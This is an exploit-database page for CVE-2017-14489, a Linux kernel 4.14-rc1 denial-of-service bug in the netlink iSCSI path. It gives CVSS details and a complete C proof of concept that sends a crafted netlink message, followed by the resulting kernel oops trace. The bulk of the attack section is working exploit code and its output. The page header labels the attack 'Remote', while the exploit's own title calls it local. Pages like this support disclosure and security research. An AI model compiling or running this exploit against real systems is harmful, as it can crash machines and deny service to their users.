Exploitalert - Database of Exploits

Linux Kernel 4-14-rc1 Denial Of Service

CVE	Category	Price	Severity
CVE-2017-14489	CWE-XX	Unknown	Unknown

Author	Risk	Exploitation Type	Date
Unknown	Unknown	Remote	2017-10-03

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017100037

Linux Kernel 4-14-rc1 Denial Of Service

# Exploit Title: Linux Kernel<4.14.rc3 Local Denial of Service # Date: 2017-Oct-02 # Exploit Author: Wang Chenyu (Nanyang Technological University) # Version:Linux kernel 4-14-rc1 # Tested on:Ubuntu 16.04 desktop amd64 # CVE : CVE-2017-14489 # CVE description: This CVE is assigned to Wang Chunyu (Red Hat) and discovered by Syzkaller. Provided for legal security research and testing purposes ONLY. In this POC, skb_shinfo(SKB)->nr_frags was overwritten by ev->iferror = err (0xff) in the condition where nlh->nlmsg_len==0x10 and skb->len > nlh->nlmsg_len. POC: #include <sys/socket.h> #include <linux/netlink.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #define NETLINK_USER 31 #define MAX_PAYLOAD 1024 /* maximum payload size*/ struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; int sock_fd; struct msghdr msg; int main() { sock_fd=socket(PF_NETLINK, SOCK_RAW, NETLINK_ISCSI); if(sock_fd<0) return -1; memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); /* self pid */ bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; /* For Linux Kernel */ dest_addr.nl_groups = 0; /* unicast */ nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD)); memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD)); nlh->nlmsg_len = 0xac; nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; strcpy(NLMSG_DATA(nlh), "ABCDEFGHabcdefghABCDEFGHabcdef ghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHabcdefghABCDEFGHab cdefghAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDD\x10"); iov.iov_base = (void *)nlh; iov.iov_len = 0xc0; msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending message to kernel\n"); sendmsg(sock_fd,&msg,0); printf("Waiting for message from kernel\n"); /* Read message from kernel */ recvmsg(sock_fd, &msg, 0); printf("Received message payload: %s\n", (char *)NLMSG_DATA(nlh)); close(sock_fd); } Crash info: [ 17.880629] BUG: unable to handle kernel NULL pointer dereference at 0000000000000028 [ 17.881586] IP: skb_release_data+0x77/0x110 [ 17.882093] PGD 7b02a067 P4D 7b02a067 PUD 7b02b067 PMD 0 [ 17.882743] Oops: 0002 [#1] SMP [ 17.883123] Modules linked in: [ 17.883493] CPU: 1 PID: 2687 Comm: test02 Not tainted 4.14.0-rc1+ #1 [ 17.884251] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 17.885350] task: ffff88007c5a1900 task.stack: ffffc90000e10000 [ 17.886058] RIP: 0010:skb_release_data+0x77/0x110 [ 17.886590] RSP: 0018:ffffc90000e13c08 EFLAGS: 00010202 [ 17.887213] RAX: 000000000000000d RBX: ffff88007bd50300 RCX: ffffffff820f96a0 [ 17.888059] RDX: 000000000000000c RSI: 0000000000000010 RDI: 000000000000000c [ 17.888893] RBP: ffffc90000e13c20 R08: ffffffff820f9860 R09: ffffc90000e13ad8 [ 17.889712] R10: ffffea0001ef5400 R11: ffff88007d001700 R12: 0000000000000000 [ 17.890349] R13: ffff88007be710c0 R14: 00000000000000c0 R15: 0000000000000000 [ 17.890977] FS: 00007f7614d4c700(0000) GS:ffff88007fd00000(0000) knlGS:0000000000000000 [ 17.891592] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 17.892054] CR2: 0000000000000028 CR3: 000000007b022000 CR4: 00000000000006e0 [ 17.892629] Call Trace: [ 17.892833] skb_release_all+0x1f/0x30 [ 17.893140] consume_skb+0x27/0x90 [ 17.893418] netlink_unicast+0x16a/0x210 [ 17.893735] netlink_sendmsg+0x2a3/0x390 [ 17.894050] sock_sendmsg+0x33/0x40 [ 17.894336] ___sys_sendmsg+0x29e/0x2b0 [ 17.894650] ? __wake_up_common_lock+0x7a/0x90 [ 17.895009] ? __wake_up+0xe/0x10 [ 17.895280] ? tty_write_unlock+0x2c/0x30 [ 17.895606] ? tty_ldisc_deref+0x11/0x20 [ 17.895925] ? n_tty_open+0xd0/0xd0 [ 17.896211] ? __vfs_write+0x23/0x130 [ 17.896512] __sys_sendmsg+0x40/0x70 [ 17.896805] ? __sys_sendmsg+0x40/0x70 [ 17.897133] SyS_sendmsg+0xd/0x20 [ 17.897408] entry_SYSCALL_64_fastpath+0x13/0x94 [ 17.897783] RIP: 0033:0x7f7614886320 [ 17.898186] RSP: 002b:00007fff6f17f9c8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e [ 17.898793] RAX: ffffffffffffffda RBX: 00007f7614b2e7a0 RCX: 00007f7614886320 [ 17.899368] RDX: 0000000000000000 RSI: 0000000000600fc0 RDI: 0000000000000003 [ 17.899943] RBP: 0000000000000053 R08: 00000000ffffffff R09: 0000000000000000 [ 17.900521] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000400b9e [ 17.901095] R13: 00007f7614d50000 R14: 0000000000000019 R15: 0000000000400b9e [ 17.901672] Code: 45 31 e4 41 80 7d 02 00 48 89 fb 74 32 49 63 c4 48 83 c0 03 48 c1 e0 04 49 8b 7c 05 00 48 8b 47 20 48 8d 50 ff a8 01 48 0f 45 fa <f0> ff 4f 1c 74 7a 41 0f b6 45 02 41 83 c4 01 44 39 e0 7f ce 49 [ 17.903190] RIP: skb_release_data+0x77/0x110 RSP: ffffc90000e13c08 [ 17.903689] CR2: 0000000000000028 [ 17.903980] ---[ end trace 2f1926fbc1d32679 ]--- Reference: [1] https://patchwork.kernel.org/patch/9923803/ [2] https://github.com/google/syzkaller

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